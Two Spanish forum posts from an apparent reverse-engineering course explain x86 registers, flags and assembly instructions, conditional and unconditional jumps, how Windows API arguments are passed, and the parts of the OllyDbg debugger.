   JAE       Si es superior o igual (CF=0)
JNB       Si no es inferior (CF=0)
JNC      Si no hay acarreo (CF=0)

   JNA       Si no es superior (CF=1 o ZF=1)
JBE       es inferior o igual (CF=1 o ZF=1)

   JNAE       Si no es superior o igual (CF=1)
JB       Si es inferior (CF=1)
JC       Si hay acarreo (CF=1)

   JG       Si es mayor (ZF=0 y SF=OF)
JNLE       Si no es menor o igual (ZF=0 y SF=OF)

   JGE       Si es mayor o igual (SF=OF)
JNL       Si no es menor (SF=OF)

   JNG       Si no es mayor (ZF=1 o SF<>OF)
JLE       Si es menor o igual (ZF=1 o SF<>OF)

   JNGE       Si no es mayor o igual (SF<>OF)
JL       Si es menor (SF<>OF)

   JE       Si es igual (ZF=1)
JZ       Si es cero (ZF=1)

   JNE       Si no es igual (ZF=0)
JNZ       Si no es cero (ZF=0)

   JO       Si hay desbordamiento (OF=1)

   JNO       Si no hay desbordamiento (OF=0)

   JP       Si hay paridad (PF=1)
JPE       Si es paridad par (PF=1)

   JNP       Si no hay paridad (PF=0)
JPO       Si es paridad impar (PF=0)

   JS       Si es signo negativo (SF=1)

   JNS      Si no es signo negativo (SF=0)

   JCXZ       Si CX=0   //esta instrucción solo es interpretada
JECXZ      Si ECX=0   //por procesadores INTEL


Salto incondicional

Es un salto que no está sujeto a ninguna condición, es decir, que se efectúa siempre. Hay una sola instrucción: jmp. Esta instrucción admite los tres tipos de salto: corto, cercano y lejano. Creo que con unos ejemplos será suficiente:

Código: text
:004011DA EB30 jmp 0040120C
:00402B35 E9F8000000 jmp 00402C32
:0001.02B4 E94D01 jmp 0404
:0003.0C28 2EFFA72D0C jmp word ptr cs:[bx+0C2D]


Ahora que hemos visto todos los saltos habidos y por haber pasemos a otro tema, las API.

Como se dijo en la clase 1, son instrucciones preprogramadas que le facilitan la vida al programador, pero para poder utilizarlas, se debe indicar en el ejecutable cuales son las que van a utilizar, y en que librería se encuentran (aunque no lo crean, hay apis repetidas en Kernel32.dll y Ntdll.dll), pero además de esto también hay que pasarle unos parámetros o argumentos, para que la función sepa lo que va a hacer.

La forma de pasarle estos argumentos a las APIs es metiéndolos en la pila (push) antes de llamar a la API.

Código: text
Push 40      //tipo de MessageBox
Push 402000     //puntero del titulo del MessageBox
Push 402010      //puntero del texto del MessageBox
Push 0      //manejador del MessageBox
Call MessageBoxA


Como pueden ver en este ejemplo, se introducen los argumentos a la pila antes de la llamada a la API, los "punteros" son las direcciones que contienen los verdaderos argumentos.

Para cada API los argumentos son diferentes. Y aquí les dejo algunas APIs, lo que hacen y los argumentos que necesitan

MessageBoxA

Crea, despliega, y maneja una caja de mensaje. La caja de mensaje contiene un mensaje definido por el programa y un título, más cualquier combinación de iconos y botones predefinida.

Código: text
  
     Int MessageBox(
     HWND  hWnd,                               // el manipulador de ventana padre
     LPCTSTR  lpText,                             // la dirección del texto dentro de la caja de mensaje
     LPCTSTR  lpCaption,                    // la dirección del título de la caja de mensaje
     UINT  uType                                // el estilo de caja de mensaje
    );


Returns
El valor de retorno es cero si no hay bastante memoria para crear la caja de mensaje. Si la función tiene éxito, el valor del retorno es uno de lo siguiente valores devueltos por la caja de diálogo:

IDABORT, IDCANCEL, IDIGNORE, IDNO, IDOK, IDRETRY, IDYES

Si una caja de mensaje tiene un botón de Cancelación, la función devuelve el valor IDCANCEL si la tecla ESC es apretada o si de botón de Cancelación es seleccionado. Si la caja de mensaje no tiene ningún botón de Cancelación, apretar ESC no tiene efecto.
CreateFileA

La función CreateFile crea, abre, o trunca un archivo, pipe (*), fuente de comunicaciones, dispositivo de disco, o consola. Devuelve un manipulador que puede usarse para acceder al objeto. También puede abrir y puede devolver un manipulador para un directorio.

Código: text
     
      HANDLE CreateFile(
      LPCTSTR  lpFileName,                         // la dirección de nombre del archivo
      DWORD  dwDesiredAccess,            // el modo de acceso (leer-escribir)
      DWORD  dwShareMode,                         // modo share
      LPSECURITY_ATTRIBUTES  lpSecurityAttributes,// la dirección de descriptor de seguridad
      DWORD  dwCreationDistribution,            // cómo crear
      DWORD  dwFlagsAndAttributes,            // los atributos del archivo
      HANDLE  hTemplateFile                          // el manipulador de archivo con atributos para copiar
     );


Returns
Si la función tiene éxito, el valor del retorno es un manipulador abierto del archivo especificado. Si el archivo especificado existe antes de función llamada y dwCreationDistribution es CREATE_ALWAYS u OPEN_ALWAYS, una llamada a GetLastError devuelve ERROR_ALREADY_EXISTS (aunque la función ha tenido éxito). Si el archivo no existe antes de la llamada, GetLastError devuelve cero.

ReadFileA

La función de ReadFile lee datos de un archivo, comienza en la posición indicada por el indicador del archivo. Después de que la operación de lectura se ha completado, el indicador del archivo es ajustado realmente por el número de bytes leídos, a menos que el manipulador de archivos sea creado con el atributo superpuesto. Si el manipulador de archivos es creado para entrada y salida superpuesta (I/O), la aplicación debe ajustar la posición del indicador del archivo después de la operación de lectura.

Código: text

      BOOL ReadFile(
      HANDLE  hFile,                                    // el manipulador de archivo para leer
      LPVOID  lpBuffer,                       // la dirección de buffer que recibe los datos
      DWORD  nNumberOfBytesToRead,          // el número de bytes para leer
      LPDWORD  lpNumberOfBytesRead,          // la dirección de número de lectura de los bytes
      LPOVERLAPPED  lpOverlapped           // la dirección de estructura para el dato
     );


Returns
Si la función tiene éxito, el valor del retorno es TRUE. Si el valor de retorno es que TRUE y el número de lectura de los bytes es cero, el indicador del archivo estaba más allá del extremo actual del archivo en el momento de la operación de lectura.

Si la función falla, el valor de retorno es FALSE. Para conseguir información extendida del error, llama a GetLastError.
WriteFile

La función WriteFile escribe datos a un archivo y está diseñado para la operación sincrónica y asíncrona. La función comienza escribiendo datos al archivo en la posición indicado por el indicador del archivo. Después de que la operación de escritura se ha completado, el indicador del archivo es ajustado realmente por el número de bytes escritos, excepto cuando el archivo es abierto con FILE_FLAG_OVERLAPPED. Si el manipulador de archivos se creara para la entrada y salida solapada (I/O), la aplicación debe ajustar la posición del indicador del archivo después de que la operación de escritura es terminada.

Código: text
 
      BOOL WriteFile(
      HANDLE  hFile,                                  // el manipulador de archivo para escribir
      LPCVOID  lpBuffer,                     // la dirección de datos para escribir al archivo
      DWORD  nNumberOfBytesToWrite,         // el número de bytes a escribir
      LPDWORD  lpNumberOfBytesWritten,   // la dirección del número de bytes escritos
      LPOVERLAPPED  lpOverlapped          // la direc. De estructura necesaria para I/O solapada
     );


Returns
Si la función tiene éxito, el valor de retorno es TRUE.

Si la función falla, el valor del retorno es FALSE. Para conseguir información extendida del error, llama a GetLastError.

RegCreateKeyExA

La función RegCreateKeyEx crea la clave especificada. Si la clave ya existe en el registro, la función lo abre.

Código: text

      LONG RegCreateKeyEx (
      HKEY  hKey,                               // el manipulador de una clave abierta
      LPCTSTR  lpszSubKey,                  // la dirección del nombre de subclave
      DWORD  dwReserved,                  // reservado
      LPTSTR  lpszClass,                  // la dirección de clase de string
      DWORD  fdwOptions,                  // las opciones especiales de flag
      REGSAM  samDesired,                  // acceso de seguridad deseado
      LPSECURITY_ATTRIBUTES  lpSecurityAttributes, // la dirección de estructura de seguridad de clave
      PHKEY  phkResult,                  // la dirección de buffer para el manipulador abierto
      LPDWORD  lpdwDisposition      // la dirección de valor de disposición del buffer
     );   


Returns
Si la función tiene éxito, el valor de retorno es ERROR_SUCCESS.

Si la función falla, el valor de retorno es un valor de error.
(la forma de llamar a estas apis en ASM es hacer push a los parámetros, poniendo los que están de últimos, de primeros –por ejemplo, el parámetro lpdwDispsition de la ultima API explicada, es al que primero se debe hacer push-)

Eso es todo en cuanto a APIs por hoy, ahora pasaremos al debugger que será en lo que nos enfoquemos de aquí en adelante...

Empecemos con las partes del mismo, pero una imagen vale más que mil palabras



Ahora vamos a ver que función tiene cada parte...

En el desensamblado, es donde trabajaremos la mayor parte del tiempo y es donde se nos muestran las instrucciones a ejecutar.

La barra de información, es donde se nos muestra la información acerca de cada instrucción (valores con los que trabaja, desde donde es llamada X subrutina, etc.)

El dump, es donde se nos muestra los valores hexa de los segmentos de la memoria

La pila o Stack, es eso la pila, es donde se guardan datos provisionalmente, y donde se pasan los parámetros a las API.

Los registros nos muestran el valor de los mismos, con posibilidad de modificarlos

Los botones de ventanas, nos muestran las distintas ventanas al presionarlos:

- los conceptos no explicados, serán vistos sobre la marcha en esta u otras clases.

El botón "L" nos muestra el Log, que si lo vemos apenas al cargar cualquier ejecutable, veremos que nos dice que cargo los plugins y el ejecutable de forma satisfactoria, esta ventana nos será de especial atención, pues será aquí donde se nos muestre los parámetros que se le pasan a las API cuando son llamadas, de esta forma sabremos todo lo que hace nuestra victima (esto después de haber hecho ciertas cosillas que veremos en las próximas clases)

El botón "E" nos muestra los módulos que se han cargado en memoria, es decir el ejecutables, las dll, los ocx y cualquier otro modulo que necesite para funcionar (pudiendo llegar a ser otro ejecutable, pues aunque no lo crean, los ejecutables también pueden exportar funciones, siendo así otros ejecutables necesitaran cargar este ejecutable a la memoria para poder utilizar sus funciones exportadas)

El Botón "M" nos muestra la memoria, es decir los módulos cargados, sus secciones, trozos de memoria reservados a ciertos módulos por la llamada a la función VirtualAlloc, etc.

El botón "T" nos muestra los threads o hilos creados, permitiéndonos "matarlos", suspenderlos, etc.

El botón "W" nos muestra las ventanas creadas por nuestro ejecutable.

El botón "H" nos muestra los handles o manejadores.

El botón "C" nos muestra la "CPU" es decir la ventana que esta en la imagen donde esta la pila, el dump, etc.

El botón "/" nos muestra los parches o cambios hechos a mano, (o debería, pero yo nunca he visto nada en esa ventana)

El botón "K" nos muestra el "Call Stack" es decir las subrutinas en las que hemos entrado, o mejor dicho las subrutinas en las que estamos dentro.

El Botón "B" nos muestra los breackpoints que hemos puesto, y el estado de los mismos.

El botón "R" nos muestra las referencias, pero para que nos muestre algo debemos primero buscarlas, en esta ventana se nos muestran las referencias a la instrucción que especifiquemos, las referencias de texto dentro del ejecutable, las llamadas intermodulares, etc.

El botón "..." nos muestra el "run trace" es decir, aquí quedan logueadas las instrucciones ejecutadas cuando se tracea. Para esto debemos "abrir el run trace" esto se hace en el menú DEBUG > Open or Clear Run Trace.

Y el botón "S" al poner el Mouse encima de el nos dice "Show Source" que en español será algo así como "mostrar fuente", pero nunca he sabido para que es esta ventana...

Los botones de acción, los explicare según el orden en el que aparezcan en la imagen (por ejemplo "el tercer botón hace esto, esto y lo otro) así que estad atentos con la imagen.

El primer botón, es el que tiene la forma de un botón de play (?) y lo que hace es correr el programa, y su tecla de acceso rápido es F9.

El segundo botón, es el botón de pause (??) y hace lo que es obvio pausa o detiene la ejecución del programa..

El tercer botón, de forma de flecha doblada a la derecha, ( algo parecido a esto ???) es el botón "step into" y lo que hace es que ejecuta instrucción por instrucción, entrando en las calls (se entenderá mejor en la practica) su tecla de acceso rápido es F7.

El cuarto botón, es una flecha que medio se asoma por arriba, (este si no se como expresarlo T_T) es el botón "step over" y hace lo mismo que el anterior, ejecuta instrucción por instrucción, pero con la diferencia de que con este no entramos a los calls, si no que se ejecutan las subrutinas completas. Su tecla de acceso rápido el F8.

El quinto botón, es una flecha zigzagueante, es el botón trace into. Lo que hace es eso tracear (ejecutar instrucción por instrucción, pero continuamente, es decir sin parar, al "abrir el Run trace" quedara logueado ahí, cada instrucción ejecutada. Cuando nosotros ejecutaos paso a paso con F8 o F7 también se le llama tracear) entrando en las calls. Su combinación de acceso rápido es Ctrl. + F7.

El sexto botón, es el botón de "trace over" que hace lo mismo que el anterior, pero sin entrar en las calls. Su combinación de acceso rápido es Ctrl. +F8.

Y el séptimo botón, es el botón es el botón "till return" y lo que haces es ayudarnos a salir de una subrutina, es decir, que ejecuta las instrucciones hasta encontrar una instrucción RETN y ahí para. Su combinación de acceso rápido es Ctrl. + F9.

Bueno, esto es todo por ahora... disculpen (de nuevo) lo largo del post, se que deben estar MUY fastidiados después de leer todo esto (si me pagaran por hacer post largos, me haría millonario con esta serie de clases), pero ahora ya están listos para la practica, que empezaremos desde la próxima clase.

By: bloodday


Saludos,, Cronos !
#80
Me siento un poco mal postiando por aqui ya que esta zona es de Cronux (Un grande en el tema). Pero bueno les traingo unos tutoriales exelentes que encontre. Espero que les sirvan.

En nuestras primeras clases... empezaremos con algunas definiciones, veremos lo que hacen las instrucciones de ensamblador, y algunas APIs de Windows, les diría que se leyeran el "Windows API for programmers" pero hay algunas APIs que no esta ahí (por ejemplo busquen DebugActiveProcessStop y no les aparecerá) así que para las APIs que no sepamos que hacen, usaremos el Puto google (con esto también me incluyo por que hay muchas APIs que no se que hacen...)

Empecemos con las definiciones...

Registros: los registros, son algo así como "variables" que usa el procesador, y hay varios de ellos, y cada uno tiene una tarea especifica... nosotros nos concentraremos en los que nos muestra el ollydbg, que son EAX, EBX, ECX, EDX, EBP, ESP, ESI, EDI y EIP. Pero que carajos significa eso?


Pues bien, la "E" significa EXTENDIDO, pero por que extendido? Pues sencillo, antes se trabajaba con 16 bits y los registros eran AX, BX, CX, DX, BP, SP, SI, DI e IP, y para poder trabajar con 32 bits se "inventaron" estos registros extendidos.

Bueno, para dar una explicación sencilla diremos que los registros que terminan en "X" (EAX, EBX, ECX y EDX) son registros de uso general, pero además de ello también tienen una tarea específica que cumplir. Los registros que terminan en "P" (EIP, EBP y ESP) son registros que llevan un Puntero (Pointer en ingles) es por eso que terminan en "P" y Finalmente los dos registros que terminan en "I" (ESI y EDI) son registros de Índice.

Como ya hemos dicho, cada registro tiene una función específica, y la segunda letra de su nombre nos indica la función asignada a cada registro, de esta manera la "A" de EAX, quiere decir que es el registro Acumulador, por ser aquí donde se guarden los resultados de ciertas operaciones (div y mul por ejemplo) y donde la mayoría de las APIs retornen algún valor.

La "B" de EBX, y EBP nos indica que son registros de Base, en el caso de EBX además de su uso como registro general, suele utilizarse para direccionar el acceso a datos situados en la memoria. Y EBP es utilizado para direccionar el acceso a datos situados dentro del espacio ocupado por la pila, aunque también puede ser de uso general.

La "C" de ECX, nos indica que es el registro Contador (Counter en ingles) y es así, por que es el registro utilizado para hacer bucles, además de ser un registro de uso general.

La "D" de EDX nos indica que es un registro de Datos, y es así por ser utilizado en instrucciones de entrada y salida, pero además de esto, también es utilizado en conjunto con EAX para formar números de mas de 32 bits en operaciones como multiplicar (mul) o dividir (div)

La "S" de ESP viene dada por que como ya se dijo lleva un puntero, y este es el de la Pila (Stack en ingles) es decir que apunta hacia el primer valor de ésta.

La "I" de EIP significa Instrucción, es decir que este registro nos dice el Puntero o la dirección de la siguiente instrucción a ejecutar.

Y por ultimo los registros de Índice ESI y EDI, pues estos registros son utilizados por ciertas operaciones como origen (ESI) y destino (EDI) por ejemplo para copiar un bloque de bytes.

API: Las APIs (Application Programming Interface) son rutinas "prefabricadas" destinadas a facilitar la labor del Programador y al mismo tiempo a reducir la extensión de los programas, porque no hace falta incluir estas Rutinas en el ejecutable, ya que están incluidas en librerías de Windows.

Flags: son Bits que se ponen a uno o cero según la instrucción que ejecutemos, y hay instrucciones que hacen una cosa u otra según el estado de alguno de ellos (saltos condicionales por ejemplo)

Instrucciones del lenguaje ASM (sacadas de "ASM por Caos Reptante" por que me parece que mejor explicadas no podrían estar)

Vamos a ver la mayoría, pero no todas, he dejado de lado las que me han parecido menos importantes.

And El resultado es 1 si los dos operandos son 1, y 0 en cualquier otro caso.
1 and 1 = 1
1 and 0 = 0
0 and 1 = 0
0 and 0 = 0
Ejemplo: 1011 and 0110 = 0010

Or El resultado es 1 si uno o los dos operandos es 1, y 0 en cualquier otro caso.
1 or 1 = 1
1 or 0 = 1
0 or 1 = 1
0 or 0 = 0
Ejemplo: 1011 or 0110 = 1111

Xor El resultado es 1 si uno y sólo uno de los dos operandos es 1, y 0 en cualquier otro caso
1 xor 1 = 0
1 xor 0 = 1
0 xor 1 = 1
0 xor 0 = 0
Ejemplo: 1011 xor 0110 = 1101

Not Simplemente invierte el valor del único operando de esta función
Not 1 = 0
Not 0 = 1
Ejemplo: not 0110 = 1001

Estos ejemplos los hemos visto con números binarios. Como estas operaciones se hacen bit a bit, si quisiéramos hacer una operación entre números en formato hexadecimal, que es lo más corriente, deberíamos pasarlos antes a binario. O bien utilizar la calculadora de Windows en formato científico.

Nop (No Operation)

Esta instrucción es de gran utilidad: no hace nada. Su verdadera utilidad reside en rellenar los huecos provocados por la eliminación de instrucciones o su substitución por instrucciones de menor longitud. Su nombre da origen al verbo "nopear" que tan a menudo utilizan los chicos malos ;-) Hay corrientes filosóficas dentro del cracking que sostienen que poner nops es una cochinada.

-y aquí tengo que hacer una pausa para reseñar que la instrucción NOP NO EXISTE pues si vemos su opcode (bytes de la instrucción) es 90, y este opcode pertenece a la instrucción XCHG EAX,EAX pero como es obvio que esto no modifica nada, los debuggers y desensambladotes usan este "convencionalismo"

Push (Push Word or Doubleword Onto the Stack)

Esta instrucción resta del registro ESP, la longitud de su único operando que puede ser de tipo Word o doubleword (4 u 8 bytes), y a continuación lo coloca en la pila. (en pocas palabras pone lo que le indiques de primero en la pila)

Pop (Pop a Value from the Stack)

Es la inversa de la anterior, es decir que incrementa el registro ESP y retira el valor disponible de la pila y lo coloca donde indica el operando.

Pushad (Push All General-Purpose Registers)

Estas instrucciones guardan el contenido de los registros en la pila en un orden determinado. Así pues, pushad equivale a: push EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI.

Popad (Pop All General-Purpose Registers)

Estas instrucciones efectúan la función inversa de las anteriores, es decir, restituyen a los registros los valores recuperados de la pila en el orden inverso al que se guardaron. Así popad equivale a: pop EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX.

Pushfd (Push EFLAGS Register onto the Stack)
Popfd (Pop Stack into EFLAGS Register)

Estas parejas de instrucciones colocan y retiran de la pila el registro de flags.

mov (Move)

Esta instrucción tiene dos operandos. Copia el contenido del operando de origen (representado en segundo lugar) en el de destino (en primer lugar), y según el tipo de estos operandos adopta formatos distintos. He aquí unos ejemplos:

Código: text
6689C8 mov ax, cx[br]
8BC3 mov eax, ebx[br]
8B5BDC mov ebx, dword ptr [ebx-24][br]
893438 mov dword ptr [eax+edi], esi


movsx (Move with Sign-Extension)

Copia el contenido del segundo operando, que puede ser un registro o una posición de memoria, en el primero (de doble longitud que el segundo), rellenándose los bits sobrantes por la izquierda con el valor del bit más significativo del segundo operando. Aquí tenemos un par de ejemplos:

Código: text
33C0 xor eax, eax[br]
BB78563412 mov ebx, 12345678[br]
0FBFC3 movsx eax, bx EAX=00005678[br]
33C0 xor eax, eax[br]
BBCDAB3412 mov ebx, 1234ABCD[br]
0FBFC3 movsx eax, bx EAX=FFFFABCD


Vemos como en el primer ejemplo los espacios vacíos se rellenan con ceros y en el segundo con unos.

movzx (Move with Zero-Extend)

Igual a movsx, pero en este caso, los espacios sobrantes se rellenan siempre con ceros. Veamos como el segundo ejemplo de la instrucción anterior da un resultado distinto:

Código: text
33C0 xor eax, eax[br]
BBCDAB3412 mov ebx, 1234ABCD[br]
0FB7C3 movzx eax, bx EAX=0000ABCD


ea (Load Effective Address)

Similar a la instrucción mov, pero el primer operando es un registro de uso general y el segundo una dirección de memoria. Esta instrucción es útil sobre todo cuando esta dirección de memoria responde a un cálculo previo.

Código: text
8D4638 lea eax, dword ptr [esi+38]


xchg (Exchange Register/Memory with Register)

Esta instrucción intercambia los contenidos de los dos operandos.

Código: text
87CA xchg edx, ecx[br]
870538305100 xchg dword ptr [00513038], eax[br]
8710 xchg dword ptr [eax], edx


En el primer ejemplo, el contenido del registro ECX, se copia en el registro EDX, y el contenido anterior de EDX, se copia en ECX. Se obtendría el mismo resultado con:

Código: text
51 push ecx[br]
52 push edx[br]
59 pop ecx[br]
5A pop edx


La instrucción pop ecx toma el valor que hay en la pila y lo coloca en el registro ECX, pero como podemos ver por la instrucción anterior push edx, este valor, procedía del registro EDX. Luego se coloca en EDX el valor procedente de ECX.

bswap (Byte Swap)

Esta instrucción es para empleo exclusivo con registros de 32 bits como único parámetro. Intercambia los bits 0 a 7 con los bits 24 a 31, y los bits 16 a 23 con los bit 8 a 15.

Código: text
B8CD34AB12 mov eax, 12AB34CD EAX=12AB34CD[br]
0FC8 bswap eax EAX=CD34AB12


Inc (Increment by 1) / dec (Decrement by 1)

Estas dos instrucciones incrementan y decrementan respectivamente el valor indicado en su único operando.

Código: text
FF0524345100 Inc dword ptr [00513424][br]
FF0D24345100 dec dword ptr [00513424][br]
40 inc eax[br]
4B dec ebx


En los dos primeros ejemplos, se incrementaría y decrementaría el valor contenido en los cuatro bytes situados a partir de la dirección 513424.

add (Add)

Esta instrucción suma los contenidos de sus dos operandos y coloca el resultado en el operando representado en primer lugar.

Código: text
02C1 add al, cl AL + CL -> AL[br]
01C2 add edx, eax EDX + EAX -> EDX[br]
8345E408 add dword ptr [ebp-1C], 0000008 dword ptr [EBP-1C]+ 8 > [EBP-1C]


En el tercer ejemplo, como el resultado se coloca siempre en el primer operando, no sería aceptada por el compilador una instrucción como add 00000008, dword ptr [ebp-1C]

adc (Add with Carry)

Esta instrucción es similar a la anterior, con la diferencia de que se suma también el valor del flag de acarreo. Se utiliza para sumar valores mayores de 32 bits. Supongamos que queremos sumar al contenido de los registros EDX:EAX (EDX=00000021h y EAX=87AE43F5), un valor de más de 32 bits (3ED671A23). Veamos como se hace:

Código: text
Add eax, ED671A23 EAX=75155E18 (87AE43F5+ED671A23) CF=1[br]
adc edx, 0000003 EDX=25h (21h+3+1)


sub (Subtract)

Esta instrucción resta el contenido del segundo operando del primero, colocando el resultado en el primer operando.

Código: text
83EA16 sub edx, 00000016 EDX - 16 -> EDX[br]
29C8 sub eax, ecx EAX - ECX -> EAX[br]
2B2B sub ebp, dword ptr [ebx] EBP - dword ptr [EBX] -> EBP


sbb (Integer Subtraction with Borrow)

Esta instrucción es una resta en la que se tiene en cuenta el valor del flag de acarreo. Supongamos que del contenido de los registros EDX:EAX después del ejecutado el ejemplo de la instrucción adc (EDX=00000025h y EAX=75155E18), queremos restar el valor 3ED671A23. El resultado es el valor que tenían inicialmente los dos registros en el ejemplo citado:

Código: text
Sub eax, ED671A23 EAX=87AE43F5 (75155E18-ED671A23) CF=1[br]
sbb edx, 0000003 EDX=21h (25h-3-1)


mul (Unsigned Multiply) / imul (Signed Multiply)

Estas dos instrucciones se utilizan para multiplicar dos valores. La diferencia más importante entre las dos, es que en la primera no se tiene en cuenta el signo de los factores, mientras que en la segunda sí. Como veremos en algunos ejemplos, esta diferencia se refleja en los valores de los flags.

En la instrucción mul, hay un solo operando. Si es un valor de tamaño byte, se multiplica este valor por el contenido de AL y el resultado se guarda en EAX, si el valor es de tamaño word (2 bytes), se multiplica por AX, y el resultado se guarda en EAX y finalmente, si el valor es de tamaño dword (4bytes), se multiplica por EAX y el resultado se guarda en EDX:EAX. O sea, que el espacio destinado al resultado siempre es de tamaño doble al de los operandos.

Código: text
F7E1 mul ecx EAX*ECX -> EDX:EAX[br]
F72424 mul dword ptr [esp] EAX*[ESP] -> EDX:EAX


En la instrucción imul, hay también una mayor variedad en el origen de sus factores. Además de la utilización de los registros EAX y EDX, así como de sus subdivisiones, pueden especificarse otros orígenes y destinos de datos y puede haber hasta tres operandos. El primero, es el lugar donde se va a guardar el resultado, que debe ser siempre un registro, el segundo y el tercero son los dos valores a multiplicar. En estos ejemplos vemos como estas instrucciones con dos o tres operandos, tienen el mismo
espacio para el resultado que para cada uno de los factores:

Código: text
F7EB imul ebx EAX x EBX -> EDX:EAX[br]
696E74020080FF imul ebp, dword ptr [esi+74], FF800002 [ESI+74] x FF800002 -> EBP[br]
0FAF55E8 imul edx, dword ptr [ebp-18] EDX x [EBP-18] -> EDX


Veamos finalmente la diferencia entre la multiplicación con signo y sin él:

Código: text
66B8FFFF mov ax, FFFF AX=FFFF[br]
66BBFFFF mov bx, FFFF[br]
66F7E3 mul bx AX=0001 OF=1 CF=1[br]
66B8FFFF mov ax, FFFF[br]
66F7EB imul bx AX=0001 OF=0 CF=0


En la primera operación, como se consideran los números sin signo, se ha multiplicado 65535d por 65535d y el resultado ha sido 1. Debido a este resultado "anómalo", se han activado los flags OF y CF. En cambio, en la segunda operación, en la que se toma en cuenta el signo, se ha multiplicado -1 por -1 y el resultado ha sido 1. En este caso no se ha activado ningún flag. Otro ejemplo:

Código: text
B8FFFFFF7F mov eax, 7FFFFFFF[br]
BB02000000 mov ebx, 00000002[br]
F7E3 mul ebx EAX=FFFFFFFE OF=0 CF=0[br]
B8FFFFFF7F mov eax, 7FFFFFFF[br]
F7EB imul ebx EAX=FFFFFFFE OF=1 CF=1


Esta vez, en el primer caso, el resultado ha sido correcto, porque 2147483647d multiplicado por dos ha dado 4294967294d, por tanto, no se ha activado ningún flag. Pero en el segundo caso, teniendo en cuenta el signo, hemos multiplicado 2147483647d por dos y nos ha dado como resultado -2. Ahora si se han activado los flags.

div (Unsigned Divide) / idiv (Signed Divide)

El caso de la división es muy parecido al de la multiplicación. Hay dos instrucciones: div para números en los que no se considere el signo e idiv para números que se consideren con signo. El dividendo está formado por una pareja de registros y el divisor es el único operando. He aquí varios ejemplos de una y otra instrucción:

Código: text
66F7F3 div bx DX:AX : BX -> AX resto -> DX[br]
F7F3 div ebx EDX:EAX : EBX -> EAX resto -> EDX[br]
F77308 div dword ptr [ebx+08] EDX:EAX : [EBX+8] -> EAX resto -> EDX[br]
F7F9 idiv ecx EDX:EAX : ECX -> EAX resto -> EDX


Ahora, como hemos hecho con la multiplicación, vamos a ver el diferente resultado que se obtiene empleando una u otra instrucción:

Código: text
33D2 xor edx, edx[br]
66B80100 mov ax, 0001[br]
66BBFFFF mov bx, FFFF[br]
66F7F3 div bx AX=0000 DX=0001[br]
33D2 xor edx, edx[br]
66B80100 mov ax, 0001[br]
66F7FB idiv bx AX=FFFF DX=0000


En el primer caso, al no considerar el signo de los números, se ha dividido 1 por 65535, que ha dado un cociente de 0 y un resto de 1. En el segundo caso, se ha dividido -1 por 1, lo que ha dado un cociente de -1 y un resto de 0. No ha habido overflow ni acarreo en ninguno de los dos casos.

xadd (Exchange and Add)

Intercambia los valores de los dos operandos y los suma, colocando el resultado en el primer operando. El primer operando puede ser un registro o una posición de memoria, pero el segundo sólo puede ser un registro.

Código: text
C703CDAB3412 mov dword ptr [ebx], 1234ABCD


En la dirección indicada por EBX tendremos el valor CD AB 34 12. Vemos el valor que hemos puesto en la memoria invertido, porque el paso del valor de un registro a la
memoria y viceversa se hace empezando por el último byte y terminando por el primero.

Código: text
B8CD34AB12 mov eax, 12AB34CD[br]
B934120000 mov ecx, 00001234[br]
0FC1C8 xadd eax, ecx


EAX contiene el valor 12AB4701 (12AB34CD+1234) y ECX el valor 12AB34CD.

Código: text
B934120000 mov ecx, 00001234[br]
0FC10B xadd dword ptr [ebx], ecx


La dirección indicada por EBX contiene el valor 01 BE 34 12 (1234ABCD+1234) y el registro ECX el valor 1234ABCD.

neg (Two's Complement Negation)

Esta instrucción tiene la finalidad de cambiar de signo el número representado por su único operando, mediante una operación de complemento a dos.

Código: text
B81C325100 mov eax, 0051321C[br]
F7D8 neg eax EAX=FFAECDE4[br]

neg 0000 0000 0101 0001 0011 0010 0001 1100 = 0051321C[br]
       1111 1111 1010 1110 1100 1101 1110 0011[br]
  + 1[br]
       1111 1111 1010 1110 1100 1101 1110 0100 = FFAECDE4


CMP (Compare Two Operands)

La comparación entre dos valores es en realidad una resta entre ambos. Según cual sea el resultado, podemos saber si los valores son iguales y en caso contrario, cual de ellos es el mayor. Así, se podría utilizar la instrucción sub ecx, ebx para comparar el resultado de estos dos registros, sin embargo el hacerlo así tiene el problema de que el resultado de la resta se colocaría en el registro ECX, cuyo valor anterior desaparecería. Para evitar este problema el programador dispone de la instrucción cmp.

Esta instrucción resta el segundo operando del primero. El resultado no se guarda en ningún sitio, pero según cual sea este resultado, pueden modificarse los valores de los flags CF, OF, SF, ZF, AF y PF. Es en base al estado de estos flags, que se efectúa o no el salto condicional que suele acompañar a esta instrucción. Veremos esta instrucción en los ejemplos de saltos condicionales.

Bueno, eso es todo por esta clase, si tienen preguntas, háganlas por acá o por el Chat, para la próxima veremos algunas APIs, y nos introduciremos en el Olly para aprender a utilizarlo y ver las posibilidades que nos da.

Para los que quieran leer el documento "ASM por Caos Reptante" se los dejo adjunto.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PD: disculpen lo largo, y faltaron los saltos, pero será para la próxima clase

By: bloodday

Saludos,, Cronos !